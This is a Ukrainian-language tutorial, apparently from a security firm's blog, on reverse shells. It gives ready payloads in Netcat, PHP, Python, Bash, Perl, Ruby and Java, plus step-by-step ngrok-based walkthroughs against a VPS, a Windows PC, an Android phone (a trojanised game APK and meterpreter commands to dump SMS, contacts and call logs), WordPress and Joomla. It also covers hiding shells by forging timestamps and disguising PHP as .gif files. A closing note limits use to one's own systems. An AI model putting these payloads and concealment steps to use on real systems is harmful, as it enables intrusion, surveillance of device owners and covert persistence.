Reverse Shell (“зворотна оболонка”) широко застосовується в інформаційних технолоіях, зокрема в адмініструванні, тестуванні на проникнення (Pentesting), а також реальних кібератаках. Хакер, використовуючи відомі йому вразливості, завантажує на сервер жертви шкідливий файл (File Upload Attack), який після активації встановлює віддалене з’єднання з машиною атакуючого. У результаті він отримує інтерактивну оболонку з можливістю вдідалено виконувати команди (Remote Code/Command Execution). Розберемо принцип дії reverse shell на різних прикладах.
Reverse Shell — це техніка віддаленого мережевого доступу, при якій цільова машина (жертва) встановлює з’єднання з атакуючою (хакер), відкриваючи таким чином не прямий, а ЗВОРОТНИЙ (Reverse) канал з’єднання. Тобто, комп’ютер жертви стає сервером, а комп’ютер зловмисника – клієнтом. Це дозволяє атакуючому отримати доступ до оболонки (shell) командного рядка цільової машини та виконувати команди від її імені.
Для встановлення зворотного шеллу використовується різноманітне шкідливе навантаження (payloads) – код або сценарій, який виконується на стороні жертви. На комп’ютері зловмисника тим часом працює так-званий слухач (listener) – програма або сценарій, який очікує вхідних з’єднань. Він забезпечує інтерфейс командного рядка для керування скомпрометованою системою.
Атаку Reverse Shell можна розділити на такі етапи:
Зворотні шелли можуть бути побудовані на основі різноманітних технологій:
🔴 Netcat Reverse Shell – це тип зворотної оболонки, яка базується на використанні мережевої утиліти Netcat. Машина атакуючого прослуховує порт з’єднання: nc -lvp <port>
, тим часом машина жертви встановлює з’єднання, наприклад: nc <attacker_ip> <attacker_port> -e /bin/bash
.
🔴 PHP Reverse Shell – тип зворотної оболонки, яка базується на використанні мови інтерпретатора PHP, наприклад:
<?php $ip = 'attacker_ip'; $port = 4444; exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"); ?>
🔴 Python Reverse Shell – зворотна оболонка, яка базується на мові сценаріїв Python, наприклад:
import socket import subprocess import osip = 'attacker_ip' port = 4444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/bash', '-i'])
🔴 Bash Reverse Shell – зворотна оболонка, яка базується на скриптовій мові Bash, наприклад:
#!/bin/bash ip="attacker_ip" port=4444exec 5<>/dev/tcp/$ip/$port cat <&5 | while read line; do $line 2>&5 >&5; done
🔴 Perl Reverse Shell – зворотна оболонка, яка базується на мові програмування Perl, наприклад:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
🔴 Ruby Reverse Shell – зворотна оболонка, яка базується на мові програмування Ruby, наприклад:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
🔴 Java Reverse Shell – зворотна оболонка, яка базується на мові програмування Java, наприклад:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Розглянемо один з найпростіших способів створення та запуску реверс-шела на практиці.
У якості атакуючої сторони виступить ваш локальний комп’ютер на базі Linux, у якості жертви – VPS-сервер (до якого ви звісно маєте доступ).
Будуть задіяні такі компоненти як:
Cпосіб передбачає таку послідовність дій (Steps to Introduce):
ngrok tcp 44689
tcp://0.tcp.eu.ngrok.io:15562 -> localhost:44689
nc -lvnp 44689
. Залишаємо сесію активною, не закриваємо вікно.#!/bin/bash
/bin/bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/15562 0>&1
Listening on 0.0.0.0 44689
Connection received on 127.0.0.1 50976
root@server:~#
Далі ви зможете виконувати будь-які команди на сервері. Наприклад, вам стануть доступні операції створення, редагування, вилучення файлів та багато інших. Фактично, сервер буде під повним віддаленим контролем. Реверс-шел можна адаптувати в залежності від тих чи інших задач та вашої фантазії. Його можна використовувати у тому числі й для системного адмініністрування.
У якості атакуючої сторони у цьому випадку виступає локальний комп’ютер на базі Linux, у якості жертви – локальний комп’ютер на базі операційної системи Windows 10/11.
Будуть задіяні ті самі інструменти, що й у попередньому прикладі – Netcat та Ngrok.
Cпосіб передбачає таку послідовність дій (Steps to Introduce):
ngrok tcp 4516
tcp://2.tcp.eu.ngrok.io:18093 -> localhost:4516
nc -lvnp 4516
. Залишаємо сесію активною, не закриваємо вікно.connect.bat
:@echo off
nc.exe 2.tcp.eu.ngrok.io 18093 -e cmd.exe
run.vbs
з наступним змістом:Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "connect.bat", 7, False
Set WshShell = Nothing
Listening on 0.0.0.0 4516
Connection received on 127.0.0.1 57918
Microsoft Windows [Version 10.0.22631.2715]
Робота шелла дозволяє атакуючому віддалено виконувати різноманітні команди і операції на комп’ютері жертви. Наприклад, можна переглядати, копіювати, створювати, виконувати, переміщати файли і папки, використовуючи інтерактивну оболонку. Такі команди як systeminfo, tasklist, ipconfig, netstat можуть нададуть чимало корисної інформації про цільову систему для проведення атак з підвищенням привілеїв.
Читайте також: Мережеві команди Windows і Linux
У цьому способі будемо використовувати локальну операційну систему Linux в якості атакуючої машини та мобільний пристрій під управлінням ОС Android 7 у якості жертви.
З інструментів використаємо той самий Ngrok, а також Metasploit – культове командне середовище етичного хакінгу. Він знадобиться для створення корисного навантаження (payload).
Варто зауважити, що цей спосіб спрацьовує не на всіх версіях Android, а в основному на застарілих смартфонах з відсутніми модулями безпеки.
Послідовність дій (Steps to Introduce):
ngrok tcp 4516
tcp://6.tcp.eu.ngrok.io:18526 -> localhost:4516
msfconsole
.msfvenom -p android/meterpreter/reverse_tcp -x /home/root/com.digiplex.game-2.7.2-APK4Fun.com.apk LHOST=6.tcp.eu.ngrok.io LPORT=18526 -f raw -o shell.apk
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4516
exploit
[*] Started reverse TCP handler on 0.0.0.0:4516
[*] Sending stage (71398 bytes) to 127.0.0.1
[*] Meterpreter session opened (127.0.0.1:4516 -> 127.0.0.1:50328) at 2024-08-23 14:12:06 +0300
Таким чином, Android-смартфон під дією реверс-шелла стає повністю підконтрольним хакеру. Атакуючий з допомогою оболонки meterpreter зможе проводити різноманітні дії та операції. Наприклад, отримати будь-яку цікаву технічну інформацію про мобільний пристрій, застосовуючи відповідні команди:
sysinfo
– базова технічна інформація про операційну систему Android жертви;ps
– список активних процесів в сеансі поточного користувача;ifconfig
– вивести список мережевих інтерфейсів;route
– показати таблицю маршрутів мережевого з’єднання;pwd
– отримати шлях поточної директорії;getuid
– вивести ідентифікатор поточного користувача;shell
– перейти в командну оболонку безпосередньо терміналу Android;screenshot
– зробити скріншот дисплею користувача;screenshare
– показати дисплей користувача в реальному часі;localtime
– вивести локальний час на смартфоні користувача;webcam_list
– вивести список відеокамер пристрою;upload
– завантажити файл на пристрій;download
– завантажити файл з пристрою;check_root
– перевірка чи рутований смартфон;dump_sms
– зробити дамп усіх SMS-повідомлень і зберегти в файл;dump_contacts
– зробити дамп контактів користувача;dump_calllog
– зробити дамп останніх стільникових дзвінків на пристрої;send_sms
– відправка SMS-повідомлень з телефону жертви;app_list
– список встановлених додатків;app_run
– запуск додатків;app_install
– встановити додаток;help
.Якщо жертва закриє додаток, то з’єднання reverse shell буде втрачено, а сесія meterpreter стане недоступною. Це відбувається тому, що додаток перестає працювати у фоновому режимі і відповідно перестає підтримувати активне з’єднання з вашою атакуючою машиною. Щоправда, існують різні способи обходу (bypass), однак це вже окрема тема.
Якщо жертва повторно запустить додаток – сесія знову відкриється (за умови, що ваш metasploit активно прослуховує відповідний локальний порт).
Цей спосіб також побудований на Netcat і Ngrok й практично нічим не відрізняється від попередніх, однак передбачає модифікацію файлів WordPress, тому необхідно мати доступ до них – прямий або віддалений.
В якості шела будемо використовувати відомий Pentest Monkey PHP Reverse Shell.
Точками компрометації можуть бути:
Послідовність дій (Steps to Introduce):
ngrok tcp 4316
tcp://6.tcp.eu.ngrok.io:14975 -> localhost:4316
nc -lvnp 4316
patterns/call-to-action.php
. Далі просто відредагувати його, замінивши вихідний код на код реверс-шела (без додавання вкінці ?>, інакше може відмовити в зберіганні). Після цього натиснути “Update” для оновлення даних. Сайт жертви при цьому має продовжувати працювати без жодних проблем.https://example.com/wp-content/themes/twentytwentythree/patterns/call-to-action.php
й таким чином активувати шелл.Цей спосіб, як і попередні, передбачає доступ до панелі адміністрування сайту-жертви. Ми застосуємо комбінацію атак Remote Code Execution (RCE) + Remote File Inclusion (RFI). Також додатково використаємо наш авторський web shell від KR. Laboratories з псевдографічною оболонкою для доступу до сервера й розгортання зворотного шелу.
Послідовність дій (Steps to Introduce):
ngrok tcp 4316
tcp://0.tcp.eu.ngrok.io:11880 -> localhost:4316
nc -lvnp 4316
<?php echo shell_exec($_GET['cmd']); ?>
Цей рядок приведе до вразливості віддаленого виконання коду на сервері – Remote Code Execution (RCE).http://example.com/templates/protostar/joomlashell.php?cmd=whoami
. Можна спробувати виконати інші команди: ls -la, uname, cat та інші. Якщо виконання команд через cmd-шел на стороні сервера працює, тоді переходимо до наступного кроку.http://example.com/templates/protostar/joomlashell.php?cmd=curl https://example2.com/ua_team_shell.php -o /home/example.com/public_html/shell.php
. Таким чином сервер-жертва підвантажить файл з шелом і збереже його у зазначеній директорії під вказаною назвою. В даному випадку, це коренева директорія public_html.https://example.com/shell.php
. З’явиться оболонка з інтерфейсом файлового менеджера. Ми отримали доступ до сервера. Залишилось розгорнути стандартний зворотний реверс-шелл, щоб зв’язати цільову систему з атакуючою машиною. Для цього див. вище інструкцію “Створення Reverse Shell між Linux і VPS”.Часто між створенням шеллу і його виявленням проходить дуже мало часу. Рано чи пізно його знешкодять. Відповідно у хакера з’являється потреба в тому, щоб цей шелл проіснував якомога більше часу. Зробити це можна через маскування. Нижче наведемо деякі способи:
touch -t YYYYMMDDhhmm filename
, де YYYY — рік, MM — місяць, DD — день, hh — година, mm — хвилина..tmp
, .hidden
, logs/
, backup/
..jpg
або .gif
, та змінити налаштуваня сервера для їх інтерпретації як коду. Наприклад, для Apache можна створити файл .htaccess з такими рядками:AddHandler application/x-httpd-php .gif
AddType application/x-httpd-php .gif
allow_url_fopen = off
, allow_url_include = off
.Читайте також:
Примітка: Всі вищеописані дії є частиною навчання з кібербезпеки та тестування на проникнення, і їх слід виконувати лише в межах етично допустимих норм та рамок на власних ресурсах. Не використовуйте ці методи для несанкціонованого доступу до систем або отримання конфіденційних даних.
ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:
Заповніть, будь ласка, форму й наш спеціаліст зв’яжеться з Вами та надасть безкоштовну консультацію!
Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!